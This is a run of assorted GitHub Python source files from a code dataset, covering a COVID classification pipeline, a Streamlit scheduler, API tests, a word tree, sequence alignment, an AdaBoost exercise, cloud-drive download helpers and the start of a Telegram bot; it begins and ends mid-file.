'Result Final_5.0']\n\ndf.drop(columns=rem_vars, inplace=True)\ndf = dm.remove_features_containing(df, 'No')\ndf = dm.remove_features_containing(df, 'NA')\n\ndf = df[(df['Evolution Death']==1) | (df['Evolution Recovered']==1)]\ndf = dm.remove_corr_features(df, print_=False, plot_=False)\n\n\n#dm.create_basic_analytics(df, categorical_vars=list(df), out_dir=out_dir_da)\n\n\n# Classification\ndef run_model(df, name, y, remove_vars=False, max_vars=100):\n    x_train, x_test, y_train, y_test = dm.create_training_and_test_sets(df, y=y, remove_vars=remove_vars,  percentage_train=0.7)\n\n    selected_features, ktest_table = m.ks_test(x_train, y_train, p=0.05)\n    #selected_features, ktest_table = m.es_test(x_train, y_train, p=0.05)\n    ktest_table['y'] = name\n    x_train = x_train[selected_features]\n    x_test = x_test[selected_features]\n\n    m.run_classification_models(x_train, x_test, y_train, y_test, name=name, out_dir=out_dir_p, max_steps=10000)\n    return ktest_table\n\n# Run different classification models\n#models = ['Hosp', 'Death', 'Death_hosp', 'ICU', 'Ventilator']#, 'XrayToraxResult']\nmodels = ['Death_0','Death_1',\n          'Death_0_small', 'Death_1_small',\n          'ICU', 'ICU_small',\n          'Ventilator', 'Ventilator_small',\n          'Ventilator_w_ICU', 'Ventilator_w_ICU_small']\n\nktest_g = pd.DataFrame(index=list(df))\nfor name in models:\n    df0 = df.copy()\n    df0 = df0[df0['Hospitalization '] == 1]\n    max_vars = 100\n\n    if name == 'Death_0' or name =='Death_0_small':\n        y = 'Evolution Death'\n        remove_vars = ['Antiviral', 'ICU',  'Ventilator', 'Evolution']\n        if 'small' in name:\n            max_vars = 10\n\n    elif name == 'Death_1' or name =='Death_1_small':\n        y = 'Evolution Death'\n        remove_vars = ['Evolution']\n        if 'small' in name:\n            max_vars = 10\n\n    elif name == 'ICU' or name=='ICU_small':\n        y = 'ICU '\n        remove_vars = ['ICU ', 'Ventilator', 'Evolution']\n        if 'small' in name:\n            max_vars = 10\n\n    elif name == 'Ventilator' or name=='Ventilator_small':\n        y = 'Ventilator Invasive'\n        remove_vars = ['ICU ', 'Ventilator', 'Evolution']\n        if 'small' in name:\n            max_vars = 10\n\n    elif name == 'Ventilator_w_ICU' or name=='Ventilator_w_ICU_small':\n        y = 'Ventilator Invasive'\n        remove_vars = ['Ventilator', 'Evolution']\n        if 'small' in name:\n            max_vars = 10\n\n    print('\\n--------------------\\n'+name+'\\n--------------------\\n')\n    ktest = run_model(df=df0, name=name, y=y, remove_vars=remove_vars,  max_vars=max_vars)\n    #ktest_g = pd.concat([ktest_g, ktest], axis=1)\n\n\n#ktest_g = ktest_g.round(decimals=2)\n#ktest_g.to_latex(out_dir_da + '/pvTable.tex', column_format='lrrl|rrl|rrl|rrl|rrl' )\n\n# Generate and save pdf report\nshell('mv '+ out_dir_p + ' ' + 'results/report_template/media', printOut=False)\nshell('mv '+ out_dir_da + ' ' + 'results/report_template/media', printOut=False)\nos.chdir('results/report_template')\nshell('pdflatex -interaction nonstopmode --jobname=report_'+ts+' main.tex', printOut=False)\nshell('rm *.out *.log *.aux', printOut=False)\nos.chdir('../..')\nshell('mv results/report_template/report_'+ts+'.pdf  results/' + ts, printOut=False)\nshell('mv results/report_template/media/PredictiveModels ' + 'results/' + ts , printOut=False)\nshell('mv results/report_template/media/DataAnalytics ' + 'results/' + ts , printOut=False)\n\n","repo_name":"salomonw/covid-brazil","sub_path":"hyp.py","file_name":"hyp.py","file_ext":"py","file_size_in_byte":15938,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"36336394337","text":"import streamlit as st\nfrom views import Views\nfrom datetime import datetime\nfrom datetime import timedelta\n\nclass AbrirAgendaUI:\n    def main():\n        st.header(\"Abrir Agenda do Dia\")\n        AbrirAgendaUI.AbrirAgenda()\n\n    def AbrirAgenda():\n        data = st.text_input(\"Informe a data no formato dd/mm/aaaa\")\n        hinicio = st.text_input(\"Informe o horário inicial no formato HH MM\")\n        hfim = st.text_input(\"Informe o horário final no formato HH MM\")\n        intervalo = st.text_input(\"Informe o intervalo entre os horários (min)\")\n        if st.button(\"Inserir Horários\"):\n            data = datetime.strptime(data, \"%d/%m/%Y\")\n            hinicio = datetime.strptime(hinicio, \"%H:%M\")\n            hfim = datetime.strptime(hfim, \"%H:%M\")\n            intervalo = timedelta(minutes=int(intervalo))\n            Views.agenda_abrir_agenda_do_dia(data, hinicio, hfim, intervalo)","repo_name":"rafaeltod/Agenda02","sub_path":"templates/abriragendaui.py","file_name":"abriragendaui.py","file_ext":"py","file_size_in_byte":893,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"16158454172","text":"from __future__ import unicode_literals\n\nimport mock\nfrom requests.exceptions import ConnectionError\n\n\n@mock.patch(\"dci.api.v1.analytics.requests.get\")\ndef test_elasticsearch_ressource_not_found(\n    mock_requests, admin, remoteci_id, topic_user_id\n):\n    mock_404 = mock.MagicMock()\n    mock_404.status_code = 404\n    mock_requests.return_value = mock_404\n    res = admin.get(\n        \"/api/v1/analytics/tasks_duration_cumulated?remoteci_id=%s&topic_id=%s\"\n        % (remoteci_id, topic_user_id)\n    )\n    assert res.status_code == 404\n\n\n@mock.patch(\"dci.api.v1.analytics.requests.get\")\ndef test_elasticsearch_error(mock_requests, admin, remoteci_id, topic_user_id):\n    mock_error = mock.MagicMock()\n    mock_error.status_code = 400\n    mock_error.text = \"error\"\n    mock_requests.return_value = mock_error\n    res = admin.get(\n        \"/api/v1/analytics/tasks_duration_cumulated?remoteci_id=%s&topic_id=%s\"\n        % (remoteci_id, topic_user_id)\n    )\n    assert res.status_code == 400\n\n\n@mock.patch(\"dci.api.v1.analytics.requests.get\")\ndef test_elasticsearch_connection_error(\n    mock_requests, admin, remoteci_id, topic_user_id\n):\n    mock_requests.side_effect = ConnectionError()\n    res = admin.get(\n        \"/api/v1/analytics/tasks_duration_cumulated?remoteci_id=%s&topic_id=%s\"\n        % (remoteci_id, topic_user_id)\n    )\n    assert res.status_code == 503\n\n\ndef test_tasks_analytics_pipelines_status(user, team_admin_id):\n    res = user.post(\n        \"/api/v1/analytics/pipelines_status\",\n        data={\n            \"start_date\": \"1970-01-01\",\n            \"end_date\": \"1970-01-01\",\n            \"teams_ids\": [team_admin_id],\n            \"pipelines_names\": [\"pipeline_name\"],\n        },\n    )\n    assert res.status_code == 401\n","repo_name":"redhat-cip/dci-control-server","sub_path":"tests/api/v1/test_analytics.py","file_name":"test_analytics.py","file_ext":"py","file_size_in_byte":1736,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"35"}
{"seq_id":"41420658344","text":"import os\nimport sys\nfrom shutil import copyfile\nfrom tqdm import tqdm\n\n#Copy all files from all subdirectories of the first directory into a new directory, disregarding the file structure\n#WARNING: If two files have same name only one is retained\ndef all_files_in_one_directory(directory, new_directory):\n\n    if not os.path.exists(new_directory):\n        os.mkdir(new_directory)\n\n    for root, dirs, files in tqdm(os.walk(directory, topdown=False)):\n        for name in files:\n            fpath = os.path.join(root, name)\n            new_fpath = os.path.join(new_directory, name)\n            copyfile(fpath, new_fpath)\n\nif __name__ == \"__main__\":\n    import argparse\n    args = argparse.ArgumentParser()\n    args.add_argument(\"--dataset\", type=str, default=\"nyt\")\n    opts = args.parse_args()\n\n    if opts.dataset == \"nyt\":\n        all_files_in_one_directory(\"../Data/Datasets/nyt/pair_sent_matched/\", \"../Data/Datasets/nyt/new_pair_sent_matched/\")\n\n","repo_name":"Rushab1/Summarization","sub_path":"preprocess/nyt.py","file_name":"nyt.py","file_ext":"py","file_size_in_byte":952,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"36487948934","text":"def funk(nazwisko, **kwargs):\n    print(\"Nazwisko:\", nazwisko)\n    for key, item in kwargs.items():\n        print(\"Imię:\", key, \"Wiek:\", item)\n\n\nfunk(\"Kowalscy\", Ewa=33, Michał=44, Adam=14, Ola=5)\nfrom datetime import datetime\n\npeople = {\n    'Ola': 5,\n    'Ewa': 33,\n    'Zosia': 27,\n    'Andrzej': 33,\n    'Iwona': 41}\n\nprint(f\"PATRZ TUTAJ:\")\n\n\ndef calculate_age(wiek):\n    now = datetime.now().year\n    for key, volue in wiek.items():\n        print(f'imię: {key}, wiek: {volue}')\n\n\ncalculate_age(people)\n\n\ndef calculate_age2(**wiek):\n    now = datetime.now().year\n    for key, volue in wiek.items():\n        print(f'imię: {key}, wiek: {volue}')\n\n\ncalculate_age2(Adam=33, Ola=15)\n\nprint(\"Imię:\", key, \"Wiek:\", item)\n\nwiek = int(input('podaj swoj wiek: '))\nprint(calculate_age(wiek))\n\nfor key, item in people.items():\n    print(\"Imię:\", key, \"Wiek:\", item)\n\nx = 2\ny = 5\n\nx, y, z = 2, 5, 7\nprint(x)\nprint(y)\nprint(z)\n\nkrotka = (1, 2, 3, 5, 8)\n\na, b, c, d, e = krotka\nprint(c)\n\n\nclass Mark:\n    \"\"\" Klasa kolorująca tekst \"\"\"\n    GREEN = '\\033[92m'  # GREEN\n    YELLOW = '\\033[93m'  # YELLOW\n    RED = '\\033[91m'  # RED\n    RESET = '\\033[0m'  # RESET COLOR\n\n\nprint(f'{Mark.RED}Ala m{Mark.RESET}a {Mark.GREEN}kota{Mark.RESET}')\n\nstatus = input('status: ')\n\nif status == 'głodny':\n    print('nakarm zwierzaka')\nelse:\n    print('najedzony')\n\npogoda_temp = int(input('podaj tmp: '))\npogoda_deszcz = bool(input('Czy pada? '))  # False\n\nif pogoda_temp < 0:\n    print('zostań w domu')\nelif pogoda_temp > 0 and pogoda_temp < 10:\n    print('ubierz sie cieplo')\nelif pogoda_temp > 10 and pogoda_temp < 20:\n    print('idz na spacer')\nelif pogoda_temp > 20 and not pogoda_temp == 25:\n    print('idz na plaze')\nelif pogoda_temp == 25:\n    print('mamy piekny dzien!')\n\nif pogoda_deszcz == True:\n    print('wez parasol')\n\n\ndef liczby(*args):\n    print(args)\n    for i in args:\n        print(i ** 2)\n\n\nliczby(2, 3)\nliczby(3, 9)\n","repo_name":"gitpyblog/CodeWithMe","sub_path":"programy/inne.py","file_name":"inne.py","file_ext":"py","file_size_in_byte":1920,"program_lang":"python","lang":"pl","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"1973443982","text":"from src.WTNode import WTNode\n\n\nclass WordTree:\n\n    def __init__(self):\n        self.root = None\n        self.size = 0\n\n    def set_root(self, node = None):\n        self.root = node\n\n    def add(self, word = \"\"):\n        if word == \"\":\n            return self.root\n\n        self.pointer = self.root\n        index = 0\n        for character in word:\n            if self.root is None:  # Means we have an empty WordTree\n                self.root = WTNode(character, None, None, None)\n                self.pointer = self.root\n            else:\n                if character == self.pointer.character:\n                    if self.pointer.middle is None:\n                        continue\n                    elif index == len(word) - 1:\n                        break # Last character so just break and let the multiplicity be increased\n                    else:\n                        self.pointer = self.pointer.middle\n                elif self.pointer.middle is None and self.pointer.character == word[index - 1]:\n                    node = WTNode(character, None, None, None)\n                    self.pointer.middle = node\n                    self.pointer = self.pointer.middle\n                else:\n                    self.pointer = self.append_node_to_parent_node(self.pointer, character)\n\n            index += 1\n        self.pointer.increase_multiplicity()\n        self.size += 1\n\n    def append_node_to_parent_node(self, pointer, character):\n        if character > pointer.character:\n            if pointer.right is not None:\n                return self.append_node_to_parent_node(pointer.right, character)\n            else:\n                pointer.right = WTNode(character, None, None, None)\n                return pointer.right\n        elif character < pointer.character:\n            if pointer.left is not None:\n                return self.append_node_to_parent_node(pointer.left, character)\n            else:\n                pointer.left = WTNode(character, None, None, None)\n                return pointer.left\n        else:\n            return pointer\n\n    def increase_size(self):\n        self.size = self.size + 1\n\n    def count(self, word = \"\"):\n        if word == \"\" or self.root is None:\n            return None\n\n        pointer = self.root\n        while len(word) != 0:\n            character = word[0]\n            if pointer.character == character and len(word) == 1:\n                return pointer.multiplicity\n            elif pointer.character == character:\n                pointer = pointer.middle\n                word = word[1:]\n            elif character > pointer.character and pointer.right is not None:\n                pointer = pointer.right\n            elif character < pointer.character and pointer.left is not None:\n                pointer = pointer.left\n            else:\n                return None\n\n\n    # Find lexicographically smallest word in tree\n    def minst(self):\n        if self.root is None:\n            return None\n\n        pointer = self.root\n        constructed_word = \"\"\n\n        while True:\n            if pointer.left is not None:\n                pointer = pointer.left\n                continue\n            else:\n                constructed_word += pointer.character\n            if pointer.multiplicity != 0:\n                return constructed_word\n            elif pointer.middle is not None:\n                pointer = pointer.middle\n            else:\n                return None\n\n    def remove(self, word):\n        if self.root is None:\n            return None\n\n\n        if self.count(word) == 0:\n            return None  # We can use our existing count function to check if the word exists in the tree in the first place\n\n        pointer = self.root\n        parent_node = None\n        while len(word) != 0:\n            character = word[0]\n            if pointer.character == character and len(word) == 1:\n                if pointer.multiplicity > 1:\n                    pointer.multiplicity -= 1\n                    self.size -= 1\n                    return\n\n                elif pointer.multiplicity == 1:\n                    if pointer.left is not None or pointer.right is not None:\n                        return\n                    else:\n                        parent_node.middle = None\n                        self.size -= 1\n                        return\n\n\n    def __str__(self):\n        return str(self.root)","repo_name":"KristianAsp/WordTreeExercise","sub_path":"src/WordTree.py","file_name":"WordTree.py","file_ext":"py","file_size_in_byte":4366,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"1340570255","text":"def overlapAlignment(string1, string2):\n    len1 = len(string1)\n    len2 = len(string2)\n\n    dist = [[0 for repeat_j in range(len2+1)] for repeat_i in range(len1+1)]\n    backtrack = [[0 for repeat_j in range(len2+1)] for repeat_i in range(len1+1)]\n    maxScore = -3*(len1 + len2)\n\n    for i in range(1, len1+1):\n        for j in range(1, len2+1):\n            score = [dist[i-1][j-1] + [-2, 1][string1[i-1] == string2[j-1]], dist[i-1][j] - 2, dist[i][j-1] - 2]\n            dist[i][j] = max(score)\n            backtrack[i][j] = score.index(dist[i][j])\n\n            if i == len1 or j == len2:\n                if dist[i][j] > maxScore:\n                    maxScore = dist[i][j]\n                    maxIndex = (i, j)\n    i, j = maxIndex\n    overlap1, overlap2 = string1[:i], string2[:j]\n    indel = lambda diff, i: diff[:i] + '-' + diff[i:]\n\n    while i*j != 0:\n        if backtrack[i][j] == 1:\n            i -= 1\n            overlap2 = indel(overlap2, j)\n        elif backtrack[i][j] == 2:\n            j -= 1\n            overlap1 = indel(overlap1, i)\n        else:\n            i -= 1\n            j -= 1\n    overlap1, overlap2 = overlap1[i:], overlap2[j:]\n\n    return str(maxScore), overlap1, overlap2\n\n\ndef main():\n    inputFile = open(\"input3.txt\", \"r\")\n    string1 = inputFile.readline().strip()\n    string2 = inputFile.readline().strip()\n\n\n    alignment = overlapAlignment(string1, string2)\n\n    output = open(\"output.txt\", \"w\")\n    output.write('\\n'.join(alignment))\n\nmain()","repo_name":"kedarpujara/BioinformaticsAlgorithms","sub_path":"Rosalind1/Prob44/overlapAlignment.py","file_name":"overlapAlignment.py","file_ext":"py","file_size_in_byte":1474,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"10152542274","text":"DEF_PB_FILE = '/Users/zhouyz/Downloads/inception-2015-12-05/classify_image_graph_def.pb'\nimport tensorflow as tf\n\n# graph = tf.import_graph_def(DEF_PB_FILE)\n# tf.train.import_meta_graph(DEF_PB_FILE)\n# with open(DEF_PB_FILE) as f:\n  # tf.GraphDef(f.read())\nBOTTLENECK_TENSOR_NAME = 'pool_3/_reshape:0'\nJPEG_DATA_TENSOR_NAME = 'DecodeJpeg/contents:0'\nRESIZED_INPUT_TENSOR_NAME = 'ResizeBilinear:0'\n\n\nwith tf.Session() as sess:\n  with tf.gfile.FastGFile(DEF_PB_FILE, 'rb') as f:\n    graph_def = tf.GraphDef()\n    graph_def.ParseFromString(f.read())\n    bottleneck_tensor, jpeg_data_tensor, resized_input_tensor = (\n      tf.import_graph_def(graph_def, name='', return_elements=[BOTTLENECK_TENSOR_NAME, JPEG_DATA_TENSOR_NAME,\n              RESIZED_INPUT_TENSOR_NAME]))\n\nprint('EOP') # End Of Program\n","repo_name":"ZhouYzzz/RecurrentTracking","sub_path":".test/loadpb.py","file_name":"loadpb.py","file_ext":"py","file_size_in_byte":796,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"31144680890","text":"import re\nimport base64\nimport requests\n\n\ndef get_googledrive(url):\n    def get_confirm_token(response):\n        for key, value in response.cookies.items():\n            if key.startswith('download_warning'):\n                return value\n        return None\n\n    URL = \"https://drive.google.com/uc?export=download\"\n    id = re.search('/d/(.*)/', url).group(1)\n    session = requests.Session()\n    response = session.get(URL, params={'id': id}, stream=True)\n    token = get_confirm_token(response)\n    if token:\n        response.close()\n        params = {'id': id, 'confirm': token}\n        response = session.get(URL, params=params, stream=True)\n    return response\n\n\ndef get_onedrive(url):\n    def get_direct_url(url):\n        data_bytes64 = base64.b64encode(bytes(url, 'utf-8'))\n        data_bytes64_String = data_bytes64.decode('utf-8').replace('/', '_').replace('+', '-').rstrip(\"=\")\n        direct = f\"https://api.onedrive.com/v1.0/shares/u!{data_bytes64_String}/root/content\"\n        return direct\n\n    direct = get_direct_url(url)\n    response = requests.get(direct, stream=True)\n    return response\n\n\ndef get_dropbox(url):\n    url = url.replace(\"www.dropbox.com\", \"dl.dropbox.com\")\n    response = requests.get(url, stream=True)\n    return response\n\n\ndef get_response(drivetype, url):\n    try:\n        if drivetype == 'googledrive':\n            return get_googledrive(url)\n        elif drivetype == 'onedrive':\n            return get_onedrive(url)\n        elif drivetype == 'dropbox':\n            return get_dropbox(url)\n        else:\n            return None\n    except:\n        return None\n","repo_name":"zqwang-cn/DriveDown","sub_path":"down/drivedown_api.py","file_name":"drivedown_api.py","file_ext":"py","file_size_in_byte":1597,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"8816271324","text":"import numpy as np\nfrom typing import Tuple\nfrom IMLearn.learners.metalearners.adaboost import AdaBoost\nfrom IMLearn.learners.classifiers import DecisionStump\nfrom utils import *\nimport plotly.graph_objects as go\nfrom plotly.subplots import make_subplots\nimport matplotlib.pyplot as plt\n\n\ndef generate_data(n: int, noise_ratio: float) -> Tuple[np.ndarray, np.ndarray]:\n    \"\"\"\n    Generate a dataset in R^2 of specified size\n\n    Parameters\n    ----------\n    n: int\n        Number of samples to generate\n\n    noise_ratio: float\n        Ratio of labels to invert\n\n    Returns\n    -------\n    X: np.ndarray of shape (n_samples,2)\n        Design matrix of samples\n\n    y: np.ndarray of shape (n_samples,)\n        Labels of samples\n    \"\"\"\n    '''\n    generate samples X with shape: (num_samples, 2) and labels y with shape (num_samples).\n    num_samples: the number of samples to generate\n    noise_ratio: invert the label for this ratio of the samples\n    '''\n    X, y = np.random.rand(n, 2) * 2 - 1, np.ones(n)\n    y[np.sum(X ** 2, axis=1) < 0.5 ** 2] = -1\n    y[np.random.choice(n, int(noise_ratio * n))] *= -1\n    return X, y\n\n\ndef fit_and_evaluate_adaboost(noise, n_learners=250, train_size=5000, test_size=500):\n    (train_X, train_y), (test_X, test_y) = generate_data(train_size, noise), generate_data(test_size, noise)\n\n    # Question 1: Train- and test errors of AdaBoost in noiseless case\n    adb = AdaBoost(DecisionStump, n_learners)\n    adb.fit(train_X, train_y)\n    train_losses, test_losses = np.zeros(n_learners), np.zeros(n_learners)\n\n    for i in range(1, n_learners + 1):\n        train_losses[i - 1] = adb.partial_loss(train_X, train_y, i)\n        test_losses[i - 1] = adb.partial_loss(test_X, test_y, i)\n    plt.plot(range(n_learners), train_losses, label=\"Train\")\n    plt.plot(range(n_learners), test_losses, label=\"Test\")\n    plt.xlabel(\"Number of fitted learners\")\n    plt.ylabel(\"Loss\")\n    plt.title(f\"AdaBoost Train & test errors as a function of number of fitted learners\\n noise = {noise}\")\n    plt.show()\n\n    # Question 2: Plotting decision surfaces\n    T = [5, 50, 100, 250]\n    l = np.array([np.r_[train_X, test_X].min(axis=0), np.r_[train_X, test_X].max(axis=0)]).T + np.array([-.1, .1])\n    fig = make_subplots(rows=2, cols=2, subplot_titles=[f\"{i} Learners\" for i in T],\n                        horizontal_spacing=0.05, vertical_spacing=0.05)\n\n    m = go.Scatter(x=test_X[:, 0], y=test_X[:, 1], mode=\"markers\", showlegend=False, name=\"Label 1\",\n                   marker=dict(color=(test_y == 1).astype(int), symbol=class_symbols[test_y.astype(int)],\n                               colorscale=[custom[0], custom[-1]], line=dict(color=\"black\", width=1)))\n    for i, t in enumerate(T):\n        fig.add_traces(\n            [decision_surface(lambda x: adb.partial_predict(x, t), l[0], l[1], showscale=False), m],\n            rows=(i // 2) + 1, cols=(i % 2) + 1)\n\n    fig.update_layout(width=800, height=900,\n                      title=f\"AdaBoost Decision boundaries based on number of learners\\n noise={noise}\",\n                      margin=dict(t=100))\n    fig.update_xaxes(matches='x', range=[-1, 1], constrain=\"domain\")\n    fig.update_yaxes(matches='y', range=[-1, 1], constrain=\"domain\", scaleanchor=\"x\", scaleratio=1)\n    fig.write_image(f\"AdaBoostDecisionBoundaries {noise}.png\")\n\n    # Question 3: Decision surface of best performing ensemble\n    t_min = np.argmin(test_losses) + 1\n    acc = np.round(1 - test_losses[t_min], 3)\n    fig = go.Figure([decision_surface(lambda x: adb.partial_predict(x, t_min), l[0], l[1], showscale=False), m])\n    fig.update_xaxes(matches='x', range=[-1, 1], constrain=\"domain\")\n    fig.update_yaxes(matches='y', range=[-1, 1], constrain=\"domain\", scaleanchor=\"x\", scaleratio=1)\n    fig.update_layout(title_text=f\"Ensemble with lowest test error \\n ensemble={t_min}, maximal accuracy= {acc}\")\n    fig.write_image(f\"AdaBoostLowestBoundaryNoise {noise}.png\")\n\n    # Question 4: Decision surface with weighted samples\n    m = go.Scatter(x=train_X[:, 0], y=train_X[:, 1], mode=\"markers\", showlegend=False,\n                   marker=dict(color=(train_y == 1).astype(int),\n                               size=adb.D_ / np.max(adb.D_) * 5,\n                               symbol=class_symbols[train_y.astype(int)],\n                               colorscale=[custom[0], custom[-1]],\n                               line=dict(color=\"black\", width=1)))\n\n    fig = go.Figure([decision_surface(adb.predict, l[0], l[1], showscale=False), m])\n    fig.update_xaxes(range=[-1, 1], constrain=\"domain\")\n    fig.update_yaxes(range=[-1, 1], constrain=\"domain\", scaleanchor=\"x\", scaleratio=1)\n    fig.update_layout(dict1=dict(width=600, height=600,\n                                 title=f\"Adaboost decision surface with weighted samples \\n noise= {noise}\"))\n    fig.write_image(f\"AdaBoostWeightedSamplesNoise {noise}.png\")\n\n\nif __name__ == '__main__':\n    np.random.seed(0)\n    fit_and_evaluate_adaboost(0)\n    fit_and_evaluate_adaboost(0.4)","repo_name":"mayaswissa/IML.HUJI","sub_path":"exercises/adaboost_scenario.py","file_name":"adaboost_scenario.py","file_ext":"py","file_size_in_byte":4985,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"35"}
{"seq_id":"25873284256","text":"import sqlite3\n\n\nclass DbConnection():\n    def __init__(self, *args, **kwargs):\n        self.db = self.database_connection()\n\n\n    def database_connection(self):\n        try:\n            sqliteConnection = sqlite3.connect('weighing.db')\n            print(\"Database created and Successfully Connected to SQLite\")\n            return sqliteConnection\n\n        except sqlite3.Error as   error:\n            print(\"Error while connecting to sqlite\", error)\n\n\n","repo_name":"oussama-laraba/weighing_app","sub_path":"models/database_connection.py","file_name":"database_connection.py","file_ext":"py","file_size_in_byte":453,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"70198331301","text":"##########################################################################################\n#욕심쟁이 판다                                                                            #\n#https://www.acmicpc.net/problem/1937                                                    #\n##########################################################################################\ndef dfs(current_node):\n  row, col = current_node\n\n  #방문한 적이 없는 노드만 방문한다\n  if visited[row][col] < 0:\n    #값을 0으로 만들어서 방문 표시\n    visited[row][col] = 0\n    #4방향 모두 확인\n    for i in range(4):\n      n_row, n_col = row + d_row[i], col + d_col[i]\n      \n      #이번에 방문할 노드가 그래프 범위 내라면\n      if 0<= n_row < n and 0<= n_col <n :\n        #이전 그래프 값보다 더 클 경우만 넘어가는 조건\n        if graph[row][col] < graph[n_row][n_col]:\n          visited[row][col] = max(visited[row][col], dfs([n_row,n_col]))\n    \n    visited[row][col] += 1\n  return visited[row][col]\n##########################################################################################\nans = 0\ngraph = []\n#값 입력 받기\nn = int(input())\nfor i in range(n):\n  graph.append(list(map(int,input().split())))\n#방문한 노드를 확인하기 위해 visited list 생성\nvisited = [[-1] * n for _ in range(n)]\n#상하좌우 확인용 리스트\nd_row = [-1,1,0,0]\nd_col = [0,0,-1,1]\n\n#시작점이 어디인지 모르니까 모든 지점에서 전부 시작해봄 \nfor row in range(len(graph)):\n  for col in range(len(graph[0])):\n    ans = max(ans, dfs( [row, col] ) )\n\nprint(ans)","repo_name":"JuyeolRyu/CodingTest","sub_path":"백수/algorithm/Dynamic_Programming/욕심쟁이판다.py","file_name":"욕심쟁이판다.py","file_ext":"py","file_size_in_byte":1624,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"39342735645","text":"import sys\r\n\r\ndef power_level(x, y, serial):\r\n    id = x + 10\r\n    power = id * y\r\n    power += serial\r\n    power *= id\r\n    hundred = (power // 100) % 10\r\n    return hundred - 5\r\n\r\n\r\ndef make_grid():\r\n    grid = [None] * 300\r\n    serial = 7511#int(sys.stdin.read().strip())\r\n    for y in range(300):\r\n        grid[y] = [power_level(x + 1, y + 1, serial) for x in range(300)]\r\n    return grid\r\n\r\ngrid = make_grid()\r\n\r\ndef get_level(center_x, center_y, size):\r\n    total = 0\r\n    half = size // 2\r\n    rem = size - half\r\n    low_y = center_y - half\r\n    high_y = center_y + rem\r\n    low_x = center_x - half\r\n    high_x = center_x + rem\r\n    if low_y < 0 or high_y > 300 or low_x < 0 or high_x > 300:\r\n        return None, low_x, low_y\r\n    for line in grid[low_y : high_y]:\r\n        total += sum(line[low_x : high_x])\r\n    return total, low_x, low_y\r\n\r\ndef get_max(size):\r\n    print(size)\r\n    max_val = None\r\n    max_coord = None\r\n    for cx in range(300):\r\n        for cy in range(300):\r\n            level, lx, ly = get_level(cx, cy, size)\r\n            if level is None:\r\n                continue\r\n            if max_val is None or level > max_val:\r\n                max_val = level\r\n                max_coord = (lx + 1, ly + 1)\r\n    return max_val, max_coord, size\r\n\r\nfrom multiprocessing import Pool\r\n\r\ndef run():\r\n    pool = Pool()\r\n    mapres = pool.map_async(get_max, range(1, 301))\r\n    val = mapres.get()\r\n    print(max(val, key = lambda r: r[0]))\r\n\r\nif __name__ == '__main__':\r\n    run()\r\n","repo_name":"simon816/Advent-of-Code-2018","sub_path":"11/solution_p2.py","file_name":"solution_p2.py","file_ext":"py","file_size_in_byte":1497,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"71887999140","text":"\"\"\"\nThis is a echo bot.\nIt echoes any incoming text messages.\n\"\"\"\nimport json\nimport logging\n\nimport telebot\nfrom aiogram import Bot, Dispatcher, executor, types\n\nfrom configuration.config import bot_key, MY_SERVER_PATH\nfrom exception_types import InvalidUserNameException, DBException\n\n#request python\nimport requests\n\n\nclass MyBot:\n    def __init__(self):\n        self.API_TOKEN = bot_key\n        self.MY_SERVER_PATH = MY_SERVER_PATH\n        # Configure logging\n        logging.basicConfig(level=logging.INFO)\n        # Initialize bot and dispatcher\n        self.bot = Bot(token=self.API_TOKEN)\n        self.dp = Dispatcher(self.bot)\n\n        self.help_reply = \\\n            '''/register <user-name> -Register to start\nanswering polls via telegram\n<user-name> in smart polling system\n\n/remove <user-name> -To stop getting polls\nqueries\n<user-name> in smart polling system\n\n/MyName -To get the user name for this device\nif the device is registered to service\n\n/start or /help -Use start or help anytime to see this menu again\n                '''\n        self.error_reply = 'An Error occurred, please try again later'\n\n        # Upon calling this function, TeleBot starts polling the Telegram servers for new messages.\n        # - interval: int (default 0) - The interval between polling requests\n        # - timeout: integer (default 20) - Timeout in seconds for long polling.\n        # - allowed_updates: List of Strings (default None) - List of update types to request\n        #self.tb.infinity_polling(interval=0, timeout=20)\n        # getUpdates\n\n\n\n# main function to start bot\ndef startBot_async():\n    my_bot = MyBot()\n    dp = my_bot.dp\n\n    #updates = my_bot.tb.get_updates()\n\n\n    @my_bot.bot.get_updates\n    def u():\n        print('update')\n    @dp.callback_query_handler()\n    async def callback_query_handler(call_back):\n        cqd = call_back.data\n        print(cqd)\n        # message_id = update.callback_query.message.message_id\n        # update_id = update.update_id\n        if cqd['callback'] == \"/register\":\n            await register(cqd['input_message'])\n        # elif cqd == ... ### for other buttons\n\n\n    # bot sends welcome for start\n    @dp.message_handler(commands=['start'])\n    async def send_welcome(message: types.Message):\n        \"\"\"\n        This handler will be called when user sends `/start` command\n        \"\"\"\n        name = \"\"\n        if (message.from_user.first_name is not None):\n            name = message.from_user.first_name\n            if (message.from_user.last_name is not None):\n                name += message.from_user.last_name\n        hello_str = f'''Hello, {name}.\n'''\n        welcome_str = \\\n            '''Welcome to smart Polling.\nPlease choose one of the options:\n'''\n        await message.reply(hello_str)\n        await message.reply(welcome_str)\n        await message.reply(my_bot.help_reply)\n\n    # bor sends help\n    @dp.message_handler(commands=['help'])\n    async def send_help(message: types.Message):\n        \"\"\"\n        This handler will be called when user sends `/help` command\n        \"\"\"\n        await message.reply(my_bot.help_reply)\n\n    # parse the user name from register or remove request\n    def parse_user_name(str):\n        str_lst = str.split(' ', 1)\n        if len(str_lst) != 2:\n            raise InvalidUserNameException\n        return str_lst[1]\n\n    async def sendFormatErrorToUser(message):\n            await message.reply(\n                